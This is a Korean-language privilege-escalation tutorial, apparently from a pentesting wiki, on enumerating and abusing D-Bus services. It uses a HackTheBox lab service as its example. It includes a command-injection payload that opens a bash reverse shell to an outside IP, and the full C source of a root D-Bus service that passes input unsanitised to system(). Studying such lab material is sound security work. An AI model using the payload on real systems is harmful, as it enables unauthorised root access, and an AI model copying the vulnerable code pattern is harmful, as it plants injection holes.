D-Bus는 Ubuntu 데스크톱 환경에서 프로세스 간 통신 (IPC) 매개체로 사용됩니다. Ubuntu에서는 여러 메시지 버스의 동시 작동이 관찰됩니다. 시스템 버스는 시스템 전체에서 관련 서비스를 노출하기 위해 권한이 있는 서비스에 주로 사용되며, 각 로그인한 사용자에 대해 세션 버스가 사용되어 해당 사용자에게만 관련 서비스를 노출합니다. 여기서는 권한 상승을 목표로 하기 때문에 주로 시스템 버스에 초점을 맞춥니다. D-Bus의 아키텍처는 세션 버스마다 '라우터'를 사용하여 클라이언트 메시지를 클라이언트가 통신하려는 서비스에 지정한 주소를 기반으로 적절한 서비스로 리디렉션하는 역할을 합니다.
D-Bus의 서비스는 노출하는 객체와 인터페이스에 의해 정의됩니다. 객체는 표준 OOP 언어에서의 클래스 인스턴스와 유사하며, 각 인스턴스는 객체 경로에 의해 고유하게 식별됩니다. 이 경로는 파일 시스템 경로와 유사하게 서비스가 노출하는 각 객체를 고유하게 식별합니다. 연구 목적을 위한 주요 인터페이스는 org.freedesktop.DBus.Introspectable 인터페이스이며, Introspect라는 단일 메서드를 갖고 있습니다. 이 메서드는 객체의 지원하는 메서드, 신호 및 속성의 XML 표현을 반환하며, 여기서는 속성과 신호를 제외하고 주로 메서드에 초점을 맞춥니다.
D-Bus 인터페이스와의 통신을 위해 두 가지 도구를 사용했습니다. D-Bus에서 노출된 메서드를 쉽게 호출하기 위한 CLI 도구인 gdbus와 각 버스에서 사용 가능한 서비스를 열거하고 각 서비스에 포함된 객체를 표시하기 위한 Python 기반의 GUI 도구인 D-Feet입니다.
sudoapt-getinstalld-feet
첫 번째 이미지에서는 D-Bus 시스템 버스에 등록된 서비스가 표시되어 있으며, 시스템 버스 버튼을 선택한 후 org.debin.apt가 특히 강조되어 있습니다. D-Feet는 이 서비스에 대한 객체를 쿼리하여 선택한 객체의 인터페이스, 메서드, 속성 및 신호를 표시합니다. 이는 두 번째 이미지에서 확인할 수 있습니다. 각 메서드의 시그니처도 자세히 표시됩니다.
주목할만한 기능은 서비스의 **프로세스 ID (pid)**와 명령 줄이 표시되는 것인데, 이는 서비스가 상승된 권한으로 실행되는지 확인하는 데 유용하며, 연구의 중요성에 관련이 있습니다.
D-Feet는 또한 메서드 호출을 허용합니다. 사용자는 파라미터로 Python 표현식을 입력할 수 있으며, D-Feet는 이를 D-Bus 타입으로 변환하여 서비스에 전달합니다.
그러나 일부 메서드는 인증이 필요하기 때문에 이러한 메서드는 무시할 것입니다. 왜냐하면 우리의 목표는 처음부터 자격증명 없이 권한을 상승시키는 것이기 때문입니다.
또한 일부 서비스는 org.freedeskto.PolicyKit1이라는 다른 D-Bus 서비스에 쿼리하여 특정 작업을 수행할 수 있는지 여부를 확인합니다.
위키백과에서 가져온 내용: 프로세스가 버스에 연결을 설정할 때, 버스는 연결에 _고유 연결 이름_이라고 불리는 특별한 버스 이름을 할당합니다. 이 유형의 버스 이름은 변경되지 않으며, 연결이 존재하는 한 항상 동일하게 유지됩니다. 더 중요한 것은, 버스의 수명 동안 이러한 고유 연결 이름이 다른 연결에 재사용되지 않는다는 것입니다. 즉, 동일한 프로세스가 버스에 대한 연결을 닫고 새로운 연결을 생성하더라도 다른 연결에는 이러한 고유 연결 이름이 할당되지 않습니다. 고유 연결 이름은 일반적으로 금지된 콜론 문자로 시작하기 때문에 쉽게 인식할 수 있습니다.
서비스 객체 정보
그런 다음, 다음 명령을 사용하여 인터페이스에 대한 일부 정보를 얻을 수 있습니다:
busctlstatushtb.oouch.Block#Get info of "htb.oouch.Block" interfacePID=2609PPID=1TTY=n/aUID=0EUID=0SUID=0FSUID=0GID=0EGID=0SGID=0FSGID=0SupplementaryGIDs=Comm=dbus-serverCommandLine=/root/dbus-serverLabel=unconfinedCGroup=/system.slice/dbus-server.serviceUnit=dbus-server.serviceSlice=system.sliceUserUnit=n/aUserSlice=n/aSession=n/aAuditLoginUID=n/aAuditSessionID=n/aUniqueName=:1.3EffectiveCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readPermittedCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readInheritableCapabilities=BoundingCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_read
서비스 객체의 인터페이스 목록 나열
충분한 권한이 필요합니다.
busctltreehtb.oouch.Block#Get Interfaces of the service object└─/htb└─/htb/oouch└─/htb/oouch/Block
서비스 객체의 Introspect 인터페이스
이 예제에서는 tree 매개변수를 사용하여 최신 인터페이스가 선택되었음에 유의하세요 (이전 섹션 참조):
busctlintrospecthtb.oouch.Block/htb/oouch/Block#Get methods of the interfaceNAMETYPESIGNATURERESULT/VALUEFLAGShtb.oouch.Blockinterface---.Blockmethodss-org.freedesktop.DBus.Introspectableinterface---.Introspectmethod-s-org.freedesktop.DBus.Peerinterface---.GetMachineIdmethod-s-.Pingmethod---org.freedesktop.DBus.Propertiesinterface---.Getmethodssv-.GetAllmethodsa{sv}-.Setmethodssv--.PropertiesChangedsignalsa{sv}as--
모니터/캡처 인터페이스
충분한 권한이 있으면 (send_destination 및 receive_sender 권한만으로는 충분하지 않음) D-Bus 통신을 모니터링할 수 있습니다.
D-Bus 구성 파일을 비루트 사용자가 통신을 스니핑할 수 있도록 구성하는 방법을 알고 있다면 저에게 연락해주세요!
모니터링하는 다양한 방법:
sudobusctlmonitorhtb.oouch.Block#Monitor only specifiedsudobusctlmonitor#System level, even if this works you will only see messages you have permissions to seesudodbus-monitor--system#System level, even if this works you will only see messages you have permissions to see
다음 예제에서는 인터페이스 htb.oouch.Block이 모니터링되며, 오해를 통해 메시지 "lalalalal"이 전송됩니다:
busctlmonitorhtb.oouch.BlockMonitoringbusmessagestream.‣Type=method_callEndian=lFlags=0Version=1Priority=0Cookie=2Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=BlockUniqueName=:1.1376MESSAGE"s"{STRING"lalalalal";};‣Type=method_returnEndian=lFlags=1Version=1Priority=0Cookie=16ReplyCookie=2Sender=:1.3 Destination=:1.1376UniqueName=:1.3MESSAGE"s"{STRING"Carried out :D";};
보시다시피, 이것은 D-Bus 인터페이스에 연결하고 "Block" 함수에 "client_ip"을 보내는 것을 보여줍니다.
D-Bus 연결의 다른 쪽에는 C로 컴파일된 이진 파일이 실행 중입니다. 이 코드는 D-Bus 연결에서 IP 주소를 수신 대기하고 system 함수를 통해 iptables를 호출하여 주어진 IP 주소를 차단합니다.
system 호출은 명령 주입에 취약하기 때문에 다음과 같은 페이로드는 역쉘이 생성됩니다: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
이를 악용하기
이 페이지의 끝에는 D-Bus 애플리케이션의 완전한 C 코드를 찾을 수 있습니다. 그 안에는 91-97번 줄 사이에 **D-Bus 객체 경로**와 **인터페이스 이름**이 등록되어 있는 것을 찾을 수 있습니다. 이 정보는 D-Bus 연결로 정보를 보내기 위해 필요합니다:
/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);
또한, 57번째 줄에서는 이 D-Bus 통신에 등록된 유일한 메서드가 Block이라는 것을 알 수 있습니다(따라서 다음 섹션에서 페이로드는 서비스 객체 htb.oouch.Block, 인터페이스 /htb/oouch/Block 및 메서드 이름 Block으로 전송됩니다):
busctl and dbus-send are command-line tools used for interacting with the D-Bus system. D-Bus is a message bus system that allows communication between different processes on the same machine or even across different machines on a network.
busctl is a utility that provides a way to introspect and interact with the D-Bus bus. It allows you to list the available bus names, show the objects and interfaces provided by a specific bus name, and call methods on those interfaces.
dbus-send is a command-line tool that allows you to send messages to a specific destination on the D-Bus bus. It can be used to invoke methods on objects, send signals, and set or get property values.
Both busctl and dbus-send can be useful for privilege escalation during a penetration test. By enumerating the available bus names and objects, you may discover misconfigurations or vulnerabilities that can be exploited to escalate privileges on the target system. Additionally, you can use dbus-send to inject and execute arbitrary commands on the target system, potentially gaining unauthorized access or control.
It is important to note that these tools should only be used for legitimate purposes, such as testing the security of your own systems or with proper authorization during a penetration test. Unauthorized use of these tools can lead to legal consequences.
메시지 버스 - 시스템 간 통신을 쉽게하기 위해 애플리케이션 간 통신에 사용되는 소프트웨어입니다. 메시지 큐와 관련이 있지만 메시지 버스에서는 메시지가 구독 모델로 전송되며 매우 빠릅니다.
"-system" 태그는 세션 메시지가 아닌 시스템 메시지임을 나타내는 데 사용됩니다 (기본값).
"-print-reply" 태그는 메시지를 적절하게 출력하고 인간이 읽을 수 있는 형식으로 응답을 받는 데 사용됩니다.
"--dest=Dbus-Interface-Block"은 Dbus 인터페이스의 주소입니다.
"--string:" - 인터페이스에 보내려는 메시지의 유형입니다. double, bytes, booleans, int, objpath와 같은 여러 형식으로 메시지를 보낼 수 있습니다. 여기서 "object path"는 파일의 경로를 Dbus 인터페이스에 보내려는 경우 유용합니다. 이 경우에는 특수 파일 (FIFO)을 사용하여 파일의 이름으로 인터페이스에 명령을 전달할 수 있습니다. "string:;" - 이것은 다시 객체 경로를 호출하는 것으로, FIFO 역쉘 파일/명령의 위치를 놓는 곳입니다.
참고로 htb.oouch.Block.Block에서 첫 번째 부분 (htb.oouch.Block)은 서비스 객체를 참조하고 마지막 부분 (.Block)은 메서드 이름을 참조합니다.
C 코드
d-bus_server.c
//sudo apt install pkgconf//sudo apt install libsystemd-dev//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`#include<stdio.h>#include<stdlib.h>#include<string.h>#include<errno.h>#include<unistd.h>#include<systemd/sd-bus.h>staticintmethod_block(sd_bus_message *m,void*userdata, sd_bus_error *ret_error) {char* host =NULL;int r;/* Read the parameters */r =sd_bus_message_read(m,"s",&host);if (r <0) {fprintf(stderr,"Failed to obtain hostname: %s\n", strerror(-r));return r;}char command[]="iptables -A PREROUTING -s %s -t mangle -j DROP";int command_len =strlen(command);int host_len =strlen(host);char* command_buffer = (char*)malloc((host_len + command_len) *sizeof(char));if(command_buffer ==NULL) {fprintf(stderr,"Failed to allocate memory\n");return-1;}sprintf(command_buffer, command, host);/* In the first implementation, we simply ran command using system(), since the expected DBus* to be threading automatically. However, DBus does not thread and the application will hang* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real* multithreading)*/int pid =fork();if ( pid ==0 ) {/* Here we are in the child process. We execute the command and eventually exit. */system(command_buffer);exit(0);} else {/* Here we are in the parent process or an error occured. We simply send a genric message.* In the first implementation we returned separate error messages for success or failure.* However, now we cannot wait for results of the system call. Therefore we simply return* a generic. */returnsd_bus_reply_method_return(m,"s","Carried out :D");}r =system(command_buffer);}/* The vtable of our little object, implements the net.poettering.Calculator interface */staticconst sd_bus_vtable block_vtable[]= {SD_BUS_VTABLE_START(0),SD_BUS_METHOD("Block","s","s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),SD_BUS_VTABLE_END};intmain(int argc,char*argv[]) {/** Main method, registeres the htb.oouch.Block service on the system dbus.** Paramaters:* argc (int) Number of arguments, not required* argv[] (char**) Argument array, not required** Returns:* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive* as long as the user keeps it alive.*//* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */signal(SIGCHLD,SIG_IGN);sd_bus_slot *slot =NULL;sd_bus *bus =NULL;int r;/* First we need to connect to the system bus. */r =sd_bus_open_system(&bus);if (r <0){fprintf(stderr,"Failed to connect to system bus: %s\n", strerror(-r));goto finish;}/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);if (r <0) {fprintf(stderr,"Failed to install htb.oouch.Block: %s\n", strerror(-r));goto finish;}/* Register the service name to find out object */r =sd_bus_request_name(bus,"htb.oouch.Block",0);if (r <0) {fprintf(stderr,"Failed to acquire service name: %s\n", strerror(-r));goto finish;}/* Infinite loop to process the client requests */for (;;) {/* Process requests */r =sd_bus_process(bus,NULL);if (r <0) {fprintf(stderr,"Failed to process bus: %s\n", strerror(-r));goto finish;}if (r >0) /* we processed a request, try to process another one, right-away */continue;/* Wait for the next request to process */r =sd_bus_wait(bus, (uint64_t) -1);if (r <0) {fprintf(stderr,"Failed to wait on bus: %s\n", strerror(-r));goto finish;}}finish:sd_bus_slot_unref(slot);sd_bus_unref(bus);return r <0? EXIT_FAILURE : EXIT_SUCCESS;}